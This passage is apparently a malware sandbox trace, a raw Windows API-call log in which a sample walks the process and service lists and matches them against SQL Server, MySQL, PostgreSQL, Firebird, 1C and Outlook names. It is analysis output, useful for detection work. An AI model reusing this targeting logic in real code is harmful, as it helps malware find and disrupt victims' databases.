(lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0165.421] lstrlenW (lpString="WdiServiceHost") returned 14 [0165.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0165.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0165.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0165.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0165.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0165.421] lstrlenW (lpString="WdiSystemHost") returned 13 [0165.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0165.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0165.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0165.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0165.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0165.422] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0165.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0165.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0165.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0165.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0165.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0165.422] lstrlenW (lpString="Winmgmt") returned 7 [0165.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0165.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0165.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0165.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0165.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0165.422] lstrlenW (lpString="WPDBusEnum") returned 10 [0165.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0165.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0165.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0165.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0165.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0165.422] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0165.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0165.426] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.427] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.427] lstrlenW (lpString="System") returned 6 [0165.427] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0165.427] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0165.427] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0165.427] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0165.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0165.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0165.427] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0165.427] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.428] lstrlenW (lpString="smss.exe") returned 8 [0165.428] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0165.428] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0165.428] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0165.428] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0165.428] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0165.428] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0165.428] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0165.428] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.429] lstrlenW (lpString="csrss.exe") returned 9 [0165.429] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.429] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.429] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.429] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.429] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.429] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.429] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0165.429] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.430] lstrlenW (lpString="wininit.exe") returned 11 [0165.430] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0165.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0165.430] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0165.430] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0165.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0165.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0165.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0165.430] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.430] lstrlenW (lpString="csrss.exe") returned 9 [0165.430] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.431] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.431] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.431] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.431] lstrlenW (lpString="winlogon.exe") returned 12 [0165.431] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.432] lstrlenW (lpString="services.exe") returned 12 [0165.432] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.432] lstrlenW (lpString="lsass.exe") returned 9 [0165.432] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0165.433] lstrlenW (lpString="lsm.exe") returned 7 [0165.433] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.434] lstrlenW (lpString="svchost.exe") returned 11 [0165.434] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.434] lstrlenW (lpString="svchost.exe") returned 11 [0165.434] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.435] lstrlenW (lpString="svchost.exe") returned 11 [0165.435] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.435] lstrlenW (lpString="svchost.exe") returned 11 [0165.435] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.435] lstrlenW (lpString="svchost.exe") returned 11 [0165.435] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.436] lstrlenW (lpString="audiodg.exe") returned 11 [0165.436] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.437] lstrlenW (lpString="svchost.exe") returned 11 [0165.437] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.437] lstrlenW (lpString="explorer.exe") returned 12 [0165.437] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.437] lstrlenW (lpString="dwm.exe") returned 7 [0165.437] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.438] lstrlenW (lpString="svchost.exe") returned 11 [0165.438] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0165.438] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0165.438] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.439] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.439] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0165.439] lstrlenW (lpString="reader_sl.exe") returned 13 [0165.439] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.440] lstrlenW (lpString="svchost.exe") returned 11 [0165.440] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.440] lstrlenW (lpString="taskhost.exe") returned 12 [0165.440] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.440] lstrlenW (lpString="dllhost.exe") returned 11 [0165.440] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.441] lstrlenW (lpString="taskhost.exe") returned 12 [0165.441] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0165.441] lstrlenW (lpString="consent.exe") returned 11 [0165.441] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.441] lstrlenW (lpString="dllhost.exe") returned 11 [0165.441] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0165.442] CloseHandle (hObject=0x3d0) returned 1 [0165.442] Sleep (dwMilliseconds=0x1f4) [0165.996] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0165.997] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0165.997] GetLastError () returned 0xea [0165.997] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0165.997] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0165.998] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0165.999] lstrlenW (lpString="Appinfo") returned 7 [0165.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.999] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.999] lstrlenW (lpString="AudioSrv") returned 8 [0165.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0165.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0165.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0165.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0165.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0165.999] lstrlenW (lpString="BFE") returned 3 [0165.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.000] lstrlenW (lpString="CryptSvc") returned 8 [0166.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.000] lstrlenW (lpString="CscService") returned 10 [0166.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0166.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0166.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0166.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0166.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0166.000] lstrlenW (lpString="DcomLaunch") returned 10 [0166.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.000] lstrlenW (lpString="Dhcp") returned 4 [0166.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.001] lstrlenW (lpString="Dnscache") returned 8 [0166.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.001] lstrlenW (lpString="DPS") returned 3 [0166.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.002] lstrlenW (lpString="eventlog") returned 8 [0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0166.002] lstrlenW (lpString="EventSystem") returned 11 [0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.002] lstrlenW (lpString="gpsvc") returned 5 [0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.002] lstrlenW (lpString="iphlpsvc") returned 8 [0166.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.002] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.002] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.003] lstrlenW (lpString="LanmanServer") returned 12 [0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.003] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.003] lstrlenW (lpString="lmhosts") returned 7 [0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.003] lstrlenW (lpString="MMCSS") returned 5 [0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0166.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0166.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0166.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0166.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0166.003] lstrlenW (lpString="MpsSvc") returned 6 [0166.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") 